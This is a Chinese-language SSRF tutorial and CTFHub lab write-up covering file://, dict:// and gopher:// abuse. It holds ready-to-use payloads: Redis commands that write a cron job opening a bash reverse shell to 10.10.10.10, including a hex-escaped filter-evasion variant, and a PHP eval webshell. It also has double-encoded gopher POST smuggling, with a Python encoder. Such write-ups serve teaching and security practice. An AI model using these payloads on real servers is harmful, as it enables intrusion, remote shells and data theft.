什么是SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
形成原因
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档等等。
SSRF漏洞通过篡改获取资源的请求发送给服务器(服务器并没有检测这个请求是否合法的),然后服务器以他的身份来访问服务器的其他资源。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。
关于PHP函数file_get_contents()、fsockopen()、curl_exec()使用不当也会导致SSRF漏洞
漏洞出现的地方
1、能够对外发起网络请求的地方,就可能存在SSRF漏洞
2、从远程服务器请求资源(Upload from URL,Import & Export RSS feed)
3、数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
4、Webmail收取其他邮箱邮件(POP3/IMAP/SMTP)
5、文件处理,编码处理,属性信息处理(ffpmg,ImageMaic,DOCX,PDF,XML处理)
详细一点就是
利用方式
首先要被攻击的服务等没有开启加密传输与鉴权。
1、可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息以及判断内网主机是否存活;
2、攻击运行在内网或本地的应用程序(比如溢出)(利用跨协议通信技术);
3、对内网web应用进行指纹识别,通过访问默认文件实现;
4、攻击内外网的web应用,可以向内部任意主机的任意端口发送精心构造的数据包{payload},主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5、利用file、dict、gopher等协议读取本地文件等。
6、DoS攻击(请求大文件,始终保持连接keep-alive always)
SSRF伪协议
http:// (常用)
Web常见访问
file:/// (常用)
访问文件系统总而获取文件,就是读取服务器本地文件,访问本地的静态资源
file:///var/www/html/flag.php
访问源代码
dict:// (常用)
获取服务器本机的redis信息。字典服务器协议,访问字典资源,能够引用允许通过DICT协议使用的定义或单词列表。如,dict:///ip:6739/info:
dic://协议数据格式 :
一、dict协议探测端口和服务指纹
dict://127.0.0.1:22
dict://172.22.10.10:3306
dict://127.0.0.1:6379/info
二、dict协议攻击redis,写入定时任务,进行反弹shell
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabs
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
dict://127.0.0.1:6379/save
注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"
三、dict协议攻击redis,写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"
dict://127.0.0.1:6379/save
若存在过滤, 则利用16进制内容写入:
dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"
四、dict协议攻击redis,写入ssh公钥
操作和写入定时任务相似
gopher:// (常用)
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
gopher协议支持发出GET、POST请求:可以先拦截get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。很重要
利用gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp 等,也可以发送 GET、POST 请求,这可以拓宽 SSRF 的攻击面。
格式:
gopher://hostname(主机名或IP地址):port(端口号)/请求方法(get、post等)/path(路径)
例子:请求 Gopher 服务器上的 /example/file.txt 文本文件,可以使用以下 URL 格式:
gopher://example.com:端口/example/file.txt
在gopher协议中发送HTTP的数据的步骤:构造HTTP数据包URL编码、替换回车换行为%0d%0a
、发送gopher协议
限制
gopher的GET请求
将数据包
GET /testg.php?name=xxx HTTP/1.1
Host: 10.211.55.2
进行编码即可 ,跟POST请求的注意一样
gopher的POST请求:
例如:
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key= 56037ee22c5a0ee44bb697d56516478e
必须包含这四个,还有POST传的参数,Content-length于POST的参数长度要保持一致
如果要构造一个上传文件的POST请求,那就抓包,将抓包的内容进行编码
注意:
- 问号(?)需要转码为URL编码,也就是
%3f
- 回车换行要变为%0d%0a,但如果直接用工具转,可能
只有%0a
- 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
- 在gopher中默认端口为70
例题
内网访问
尝试访问位于127.0.0.1的flag.php吧
打开环境,题目提示了访问网站的内网地址
使用HTTP协议(本题考查的知识点)构造
url=http://127.0.0.1/flag.php
得到flag
伪协议读取文件
尝试去读取一下Web目录下的flag.php吧
打开环境,已经给了题目提示,这儿要用到php伪协议,访问web目录下的flag.php
知识点
网站的目录一般都在/var/www/html/
题解
所以我们直接构造
url=file:///var/www/html/flag.php
??? 嗯。。。查看一下源代码呗
得到flag
另外,我们还可以使用file协议访问一下内网里的文件,例如读取一下敏感信息/etc/passwd这些敏感的东西,嗯。。。。。有点危险吧!!!
端口扫描
来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,
说实话看到题目提示,说要端口扫描,我第一时间想法使用扫描工具nmap去扫描它,不过没什么用,它给了提示端口范围为8000-9000,那我们就抓包爆破一下
url=127.0.0.1:8000
输入然后抓包
然后发送到测试器里,设置它的位置,就是我们的端口。设置载荷类型为数值,然后添加范围8000-9000,间隔为1
然后就开始爆破,爆破到了端口,然后再访问端口8244
得到flag
POST请求
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
打开环境,先尝试着使用file协议访问一下
url=file:///var/www/html/flag.php
得到一个输入框,输入1,得到Just View From 127.0.0.1
再看看他的源代码,得到一串代码
<?php
error_reporting(0); #禁用 PHP 错误和警告的显示。
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return; #查请求的远程 IP 地址(发出请求的客户端的 IP 地址)是否不等于“127.0.0. 1”。如果不相等,它会显示消息“仅从 127.0.0.1 查看”并终止脚本。
}
$flag=getenv("CTFHUB"); #检索环境变量“CTFHUB”的值并将其存储在 $flag 变量中。此变量可能包含 CTF 挑战中使用的“标志”或秘密值。
$key = md5($flag); #使用 $flag 值的 md5 哈希生成一个密钥。此密钥用于验证请求的有效性。
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit; #查 POST 参数“key”是否已设置(即是否包含在请求中),并且它的值是否与前面生成的预定义 $key 匹配。
}
?>
那我们使用127.0.0.1访问一下flag.php,得到了key=b1853920e0aa52b2b916db7610fdbed6
输入输入框里
还是:Just View From 127.0.0.1
使用BP抓包修改也不行,去搜了大佬的WP,才发现,这儿可以使用gopher协议(curl支持gopher协议),构造post请求
关于curl
接着我们就需要构造一个完整的gopher请求了:
格式:gopher://<host>:<port>/<gopher-path>_后接tcp流
那这一题就是 gopher://127.0.0.1:80/_后接post请求
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=b1853920e0aa52b2b916db7610fdbed6
进行url编码
再回车换行处修改以及在最后加上%0d%0a得到
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%20%0d%0Akey=b1853920e0aa52b2b916db7610fdbed6%0d%0a
再对它进行一次编码,为什么呢?这是因为在浏览器的地址栏进行get传参时,浏览器会自动进行一次UrlDecode()
的解码。但是这里curl就需要url编码的东西,所以需要编两次
还有一种说法是本题相当于有两次请求(post请求本身算一次,放进url=gopher...中算第二次),因此要进行两次url编码 我也不知道哪一种说法是对的
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=b1853920e0aa52b2b916db7610fdbed6%250d%250a
把编码后的结果放入url中 得到flag
上传文件
这次需要上传一个文件到flag.php了.祝你好运
打开环境,还是和之前一样,先访问flag.php
url=file:///var/www/html/flag.php
再查看一下它的源代码,意思也是要从127.0.0.1访问,上传一个文件,得到flag
这一题跟上题POST请求一样,要使用gopher协议,只不过这一次需要传的是一个文件,先从127.0.0.1访问flag.php
url=http://127.0.0.1/flag.php
要上传文件,但没有上传按钮,怎么办的?嘿嘿,F12在前端里加 一个就行了
然后我们随便上传一个文件,我上传的是一个乱码6.txt
还是回显了这个:Just View From 127.0.0.1
抓包试试看,修改HOST为127.0.0.1后放包,还是和上题一样302了,那应该也是用gopher协议了
用我们BP抓的包进行二次编码
POST /flag.php HTTP/1.1
Host: challenge-b14aaf8128d1a15f.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://challenge-b14aaf8128d1a15f.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Content-Type: multipart/form-data; boundary=---------------------------236442322825764122913520860139
Content-Length: 443
Origin: http://challenge-b14aaf8128d1a15f.sandbox.ctfhub.com:10800
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------236442322825764122913520860139
Content-Disposition: form-data; name="file"; filename="6.txt"
Content-Type: text/plain
éîæ©é®îç´æ©æ¬æ§¸ç»îæ´å¨ç¢ç´°tH@t_y000
ç»î¿ç°²å¨éæ°é»è§çéå¤å£éå´é´~
-----------------------------236442322825764122913520860139
Content-Disposition: form-data; name="submit"
æäº¤æ¥è¯¢
-----------------------------236442322825764122913520860139--
因为之前写POST请求的时候,网上在线编码经常出错,并且还麻烦,那就直接用PYTHON跑一下就好了,当然你也可以使用kali里的gophers使用
python代码:
import urllib.parse
# 定义HTTP POST请求的payload
payload = """
POST /flag.php HTTP/1.1
Host: challenge-b14aaf8128d1a15f.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://challenge-b14aaf8128d1a15f.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Content-Type: multipart/form-data; boundary=---------------------------236442322825764122913520860139
Content-Length: 443
Origin: http://challenge-b14aaf8128d1a15f.sandbox.ctfhub.com:10800
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------236442322825764122913520860139
Content-Disposition: form-data; name="file"; filename="6.txt"
Content-Type: text/plain
éîæ©é®îç´æ©æ¬æ§¸ç»îæ´å¨ç¢ç´°tH@t_y000
ç»î¿ç°²å¨éæ°é»è§çéå¤å£éå´é´~
-----------------------------236442322825764122913520860139
Content-Disposition: form-data; name="submit"
æäº¤æ¥è¯¢
-----------------------------236442322825764122913520860139--
"""
# 注意payload的最后一行是回车(空行),表示HTTP请求结束
# 对payload进行URL编码
tmp = urllib.parse.quote(payload)
# 将回车(%0A)替换为回车换行(%0D%0A)
new = tmp.replace('%0A', '%0D%0A')
# 再次对new进行URL编码
new2 = urllib.parse.quote(new)
# 转换为Gopher URL
result = 'gopher://127.0.0.1:80/_' + new2
# 打印结果
print(result)
得到的结果:
gopher://127.0.0.1:80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-b14aaf8128d1a15f.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A124.0%2529%2520Gecko/20100101%2520Firefox/124.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AReferer%253A%2520http%253A//challenge-b14aaf8128d1a15f.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------236442322825764122913520860139%250D%250AContent-Length%253A%2520443%250D%250AOrigin%253A%2520http%253A//challenge-b14aaf8128d1a15f.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------236442322825764122913520860139%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25226.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250A%25C3%25A9%25C2%258E%25C2%25AD%25C3%25AE%25C2%2585%25C2%259E%25C3%25A6%25C2%259E%25C2%25A9%25C3%25A9%25C2%258E%25C2%25AE%25C3%25AE%25C2%259F%25C2%2592%25C3%25A7%25C2%25B4%25C2%259D%25C3%25A6%25C2%259D%25C2%25A9%25C3%25A6%25C2%25AC%25C2%2590%25C3%25A6%25C2%25A7%25C2%25B8%25C3%25A7%25C2%25BB%25C2%2597%25C3%25AE%25C2%2584%25C2%2580%25C3%25A6%25C2%25B4%25C2%2593%25C3%25A5%25C2%25A8%25C2%2588%25C3%25A7%25C2%25A2%25C2%2589%25C3%25A7%25C2%25B4%25C2%25B0tH%2540t_y000%250D%250A%25C3%25A7%25C2%25BB%25C2%2597%25C3%25AE%25C2%2583%25C2%25BF%25C3%25A7%25C2%25B0%25C2%25B2%25C3%25A5%25C2%25A8%25C2%2588%25C3%25A9%25C2%259D%25C2%259B%25C3%25A6%25C2%258B%25C2%25B0%25C3%25A9%25C2%2591%25C2%25BB%25C3%25A8%25C2%25A7%25C2%2584%25C3%25A7%25C2%2581%25C2%2589%25C3%25A9%25C2%258F%25C2%2588%25C3%25A5%25C2%25A4%25C2%258C%25C3%25A5%25C2%2581%25C2%25A3%25C3%25A9%25C2%258D%25C2%258F%25C3%25A5%25C2%25B4%25C2%2587%25C3%25A9%25C2%2583%25C2%25B4~%250D%250A-----------------------------236442322825764122913520860139%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------236442322825764122913520860139--%250D%250A%250D%250A
然后将它放在url里即
得到flag
笔记
在写POST请求的题时对为什么要两次编码,网上搜了有两种说法:
1、在浏览器的地址栏进行get传参时,浏览器会自动进行一次UrlDecode()
的解码。但是这里curl就需要url编码的东西,所以需要编两次
2、本题相当于有两次请求(post请求本身算一次,放进url=gopher...中算第二次),因此要进行两次url编码
另外,还有的WP中需要进行了3次编码,是为什么